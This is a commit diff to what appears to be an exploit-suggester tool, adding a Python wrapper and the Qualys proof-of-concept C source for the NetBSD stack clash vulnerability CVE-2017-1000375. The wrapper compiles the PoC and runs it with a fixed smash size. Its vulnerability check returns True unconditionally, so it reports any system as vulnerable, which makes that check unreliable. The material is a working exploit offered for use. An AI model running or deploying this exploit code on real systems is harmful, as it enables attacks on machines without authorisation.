stack clash for NETBSD - CVE-2017-1000375 vulnerability from qualys

README.md

@@ -74,6 +74,8 @@ which makes it useful as a host-side only enumeration tool.
 
 * `CVE-2017-1000379`
 
+* `CVE-2017-1000375`
+
 * `CVE-2017-1000373`
 
 * `CVE-2017-1000372`

constants.py

@@ -54,6 +54,8 @@
 ARCHITECTURE_x86_64 =   "x86_64"
 ARCHITECTURE_amd64 =    "amd64"
 ARCHITECTURE_i686 =     "i686"
+ARCHITECTURE_i386 =     "i386"
+
 
 GENERIC_MAC = "mac"
 
@@ -136,4 +138,4 @@ def shell_results(shell_command):
 		stderr=subprocess.PIPE,
 		shell=True
 	)
-	return p.communicate()
+	return p.communicate()

exploits/linux/CVE20171000375.py

@@ -0,0 +1,33 @@
+"""
+https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
+https://www.exploit-db.com/exploits/42272/
+"""
+import os
+from exploits.exploit import LinuxExploit
+from src.kernels import KernelWindow
+from constants import NETBSD, PLAYGROUND_PATH, LINUX_EXPLOIT_SOURCE_PATH, HIGH_RELIABILITY, color_print, CONFIRMED_VULNERABLE
+
+class CVE20171000375(LinuxExploit):
+	def __init__(self):
+		super().__init__()
+		self.name = "CVE20171000375"
+		self.formatted_name = "CVE-2017-1000375"
+		self.type = "linux"
+		self.brief_desc = "Stack clash vulnerability from qualys"
+		self.reliability = HIGH_RELIABILITY
+		self.vulnerable_kernels = [
+			KernelWindow(NETBSD, CONFIRMED_VULNERABLE, 4, 0, 0, 7, 1, 0)
+		]
+		self.source_c_path = os.path.join(LINUX_EXPLOIT_SOURCE_PATH, "{}.c".format(self.name))
+		self.compilation_path = os.path.join(PLAYGROUND_PATH, self.name)
+		self.compilation_command = "gcc -o {} {}".format(self.compilation_path, self.source_c_path)
+		self.exploit_command = "{0} {1}".format(self.compilation_path, "0x04000000")
+
+	def determine_vulnerability(self):
+		"""
+		:return: True if vulnerable, False if not
+		"""
+		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
+		# if kernel matches...it should be vulnerable
+		color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green")
+		return True

exploits/linux/source/CVE20171000375.c

@@ -0,0 +1,51 @@
+/*
+ * NetBSD_CVE-2017-1000375.c (please compile with -O0)
+ * Copyright (C) 2017 Qualys, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/resource.h>
+#include <sys/time.h>
+
+#define die() do { \
+    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
+    exit(EXIT_FAILURE); \
+} while (0)
+
+static void
+smash_no_jump(const size_t smash_size)
+{
+    char buf[1024];
+    memset(buf, 'A', sizeof(buf));
+    if (smash_size > sizeof(buf))
+        smash_no_jump(smash_size - sizeof(buf));
+}
+
+int
+main(const int argc, const char * const argv[])
+{
+    static const struct rlimit core;
+    if (setrlimit(RLIMIT_CORE, &core)) die();
+
+    if (argc != 2) die();
+    const size_t smash_size = strtoul(argv[1], NULL, 0);
+    if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
+    smash_no_jump(smash_size);
+    exit(EXIT_SUCCESS);
+}